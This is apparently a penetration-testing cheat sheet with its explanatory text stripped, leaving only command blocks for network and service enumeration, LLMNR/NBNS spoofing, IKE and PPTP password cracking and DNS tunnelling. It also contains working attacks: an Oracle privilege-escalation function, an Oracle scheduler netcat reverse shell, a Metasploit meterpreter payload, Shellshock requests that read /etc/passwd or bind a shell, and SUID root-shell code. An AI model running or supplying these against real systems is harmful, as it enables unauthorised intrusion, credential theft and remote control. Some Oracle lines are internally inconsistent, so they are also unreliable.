1

ifconfig eth0 xxx.xxx.xxx.xxx/24

1
2

ipcalc xxx.xxx.xxx.xxx/24 
ipcalc xxx.xxx.xxx.xxx 255.255.255.0 

1

whois domain-name-here.com 

1

dig a domain-name-here.com @nameserver 

1

dig mx domain-name-here.com @nameserver

1

dig axfr domain-name-here.com @nameserver

1
2

git clone https://github.com/killswitch-GUI/SimplyEmail.git
./SimplyEmail.py -all -e TARGET-DOMAIN

1
2
3
4
5
6

nc TARGET-IP 80
GET / HTTP/1.1
Host: TARGET-IP
User-Agent: Mozilla/5.0
Referrer: meh-domain
<enter>

1

nmap -sU TARGET 

1

git clone https://github.com/portcullislabs/udp-proto-scanner.git

1

./udp-protocol-scanner.pl -f ip.txt 

1

udp-proto-scanner.pl -p ntp -f ips.txt

1
2
3
4

nmblookup -A target
smbclient //MOUNT/share -I target -N
rpcclient -U "" target
enum4linux target

1

smbclient -L //192.168.1.100 

1

nmap -T4 -v -oA shares --script smb-enum-shares --script-args smbuser=username,smbpass=password -p445 192.168.1.0/24   

1

nmap -sU -sS --script=smb-enum-users -p U:137,T:139 192.168.11.200-254 

1

python /usr/share/doc/python-impacket-doc/examples/samrdump.py 192.168.XXX.XXX

1

ridenum.py 192.168.XXX.XXX 500 50000 dict.txt

1

use auxiliary/scanner/smb/smb_lookupsid

1
2
3
4
5

Windows:
net use \\TARGET\IPC$ "" /u:""

Linux:
smbclient -L //192.168.99.131

1
2

apt-get install nbtscan-unixwiz 
nbtscan-unixwiz -f 192.168.0.1-254 > nbtscan

1
2

auxiliary/spoof/llmnr/llmnr_response
auxiliary/spoof/nbns/nbns_response

1
2

auxiliary/server/capture/smb
auxiliary/server/capture/http_ntlm

1
2

git clone https://github.com/SpiderLabs/Responder.git
python Responder.py -i local-ip -I eth0

1
2

apt-get install snmp-mibs-downloader download-mibs
echo "" > /etc/snmp/snmp.conf

1

nmap -sV -p 161 --script=snmp-info TARGET-SUBNET

1
2

apt-get install snmp snmp-mibs-downloader
wget https://raw.githubusercontent.com/raesene/TestingScripts/master/snmpv3enum.rb

1

/usr/share/metasploit-framework/data/wordlists/snmp_default_pass.txt

1

rsh <target> <command>

1

auxiliary/scanner/rservices/rsh_login

1

rusers -al 192.168.2.1

1
2

rlogin -l <user> <target>
e.g rlogin -l root TARGET-SUBNET/24

1
2

finger @TARGET-IP
finger batman@TARGET-IP 

1
2
3
4
5
6

finger 0@host  

SunOS: RPC services allow user enum:
$ rusers # users logged onto LAN

finger 'a b c d e f g h'@sunhost 

1

./testssl.sh -e -E -f -p -y -Y -S -P -c -H -U TARGET-HOST | aha > OUTPUT-FILE.html  

1
2
3
4

apt-get update
apt-get dist-upgrade -y
apt-get install openvas
openvas-setup

1

netstat -tulpn

1

apt-get install oscanner  

1

oscanner -s 192.168.1.200 -P 1521 

1

apt-get install tnscmd10g

1
2

tnscmd10g version -h TARGET
nmap --script=oracle-tns-version 

1
2

 nmap --script=oracle-sid-brute 
 nmap --script=oracle-brute 

1

nmap -p 1521 -A TARGET

1
2

nmap --script=oracle-sid-brute 
nmap --script=oracle-brute 

 1
 2
 3
 4
 5
 6
 7
 8
 9
10

SQL> select * from session_privs; 

SQL> CREATE OR REPLACE FUNCTION GETDBA(FOO varchar) return varchar deterministic authid 
curren_user is 
pragma autonomous_transaction; 
begin 
execute immediate 'grant dba to user1 identified by pass1';
commit;
return 'FOO';
end;

1

SQL> create index exploit_1337 on SYS.DUAL(SCOTT.GETDBA('BAR'));

1

SQL> Select * from session_privs; 

1

drop index exploit_1337; 

 1
 2
 3
 4
 5
 6
 7
 8
 9
10

begin
dbms_scheduler.create_job( job_name    => 'MEH1337',job_type    =>
    'EXECUTABLE',job_action => '/bin/nc',number_of_arguments => 4,start_date =>
    SYSTIMESTAMP,enabled    => FALSE,auto_drop => TRUE); 
dbms_scheduler.set_job_argument_value('rev_shell', 1, 'TARGET-IP');
dbms_scheduler.set_job_argument_value('rev_shell', 2, '443');
dbms_scheduler.set_job_argument_value('rev_shell', 3, '-e');
dbms_scheduler.set_job_argument_value('rev_shell', 4, '/bin/bash');
dbms_scheduler.enable('rev_shell'); 
end; 

1

nmap -sU --script=ms-sql-info 192.168.1.108 192.168.1.156

1

msf > use auxiliary/scanner/mssql/mssql_ping

1

msf > use auxiliary/admin/mssql/mssql_enum

1
2

msf > use exploit/windows/mssql/mssql_payload
msf exploit(mssql_payload) > set PAYLOAD windows/meterpreter/reverse_tcp

1

plink.exe -P 22 -l root -pw "1337" -R 445:127.0.0.1:445 REMOTE-IP

1

ssh -D 127.0.0.1:1010 -p 22 user@pivot-target-ip

1

ssh -D 127.0.0.1:1010 -p 22 user1@ip-address-1

1

proxychains ssh -D 127.0.0.1:1011 -p 22 user1@ip-address-2

1
2
3

git clone https://github.com/nccgroup/vlan-hopping.git
chmod 700 frogger.sh
./frogger.sh 

1

./udp-protocol-scanner.pl -p ike TARGET(s)

1

./udp-protocol-scanner.pl -p ike -f ip.txt

1
2

pip install pyip
git clone https://github.com/SpiderLabs/ikeforce.git

1

./ikeforce.py TARGET-IP –e –w wordlists/groupnames.dic

1

./ikeforce.py TARGET-IP -b -i groupid -u dan -k psk123 -w passwords.txt -s 1

1
2
3
4

ike-scan
ike-scan TARGET-IP
ike-scan -A TARGET-IP
ike-scan -A TARGET-IP --id=myid -P TARGET-IP-key

1

./udp-protocol-scanner.pl -p ike SUBNET/24

1

./ikeforce.py TARGET-IP –e –w wordlists/groupnames.dic

1

ike-scan –M –A –n example_group -P hash-file.txt TARGET-IP

1

psk-crack hash-file.txt

1
2
3
4

pskcrack
psk-crack -b 5 TARGET-IPkey
psk-crack -b 5 --charset="01233456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz" 192-168-207-134key
psk-crack -d /path/to/dictionary-file TARGET-IP-key

1

nmap –Pn -sV -p 1723 TARGET(S)

1

thc-pptp-bruter -u hansolo -W -w /usr/share/wordlists/nmap.lst

1
2
3
4
5
6

apt-get update
apt-get -y install ruby-dev git make g++
gem install bundler
git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/server
bundle install

1
2
3

ruby ./dnscat2.rb
dnscat2> New session established: 1422
dnscat2> session -i 1422

1

dnscat --host <dnscat server_ip>

1
2
3
4

 searchsploit –u
 searchsploit apache 2.2
 searchsploit "Linux Kernel"
 searchsploit linux 2.6 | grep -i ubuntu | grep local

1
2
3
4
5
6
7
8

wget -O mingw-get-setup.exe http://sourceforge.net/projects/mingw/files/Installer/mingw-get-setup.exe/download
wine mingw-get-setup.exe
select mingw32-base
cd /root/.wine/drive_c/windows
wget http://gojhonny.com/misc/mingw_bin.zip && unzip mingw_bin.zip
cd /root/.wine/drive_c/MinGW/bin
wine gcc -o ability.exe /tmp/exploit.c -lwsock32
wine ability.exe  

1
2

gcc -m32 -o output32 hello.c (32 bit)
gcc -m64 -o output hello.c (64 bit)

1

git clone https://github.com/nccgroup/shocker

1

./shocker.py -H TARGET  --command "/bin/cat /etc/passwd" -c /cgi-bin/status --verbose

1

echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; echo \$(</etc/passwd)\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc TARGET 80

1

echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc -l -p 9999 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc TARGET 80

1

nc -l -p 443

1
2
3
4

int main(void){
       setresuid(0, 0, 0);
       system("/bin/bash");
}       

1
2
3
4

int main(void){
       setresuid(0, 0, 0);
       system("/bin/sh");
}       

1

gcc -o suid suid.c  

1

gcc -m32 -o suid suid.c  

1

python -c 'import pty;pty.spawn("/bin/bash")'

1

echo os.system('/bin/bash')

1

/bin/sh -i

1
2

exec "/bin/sh";
perl —e 'exec "/bin/sh";'

1

exec "/bin/sh"

1

os.execute('/bin/sh')

1

:!bash

1

!sh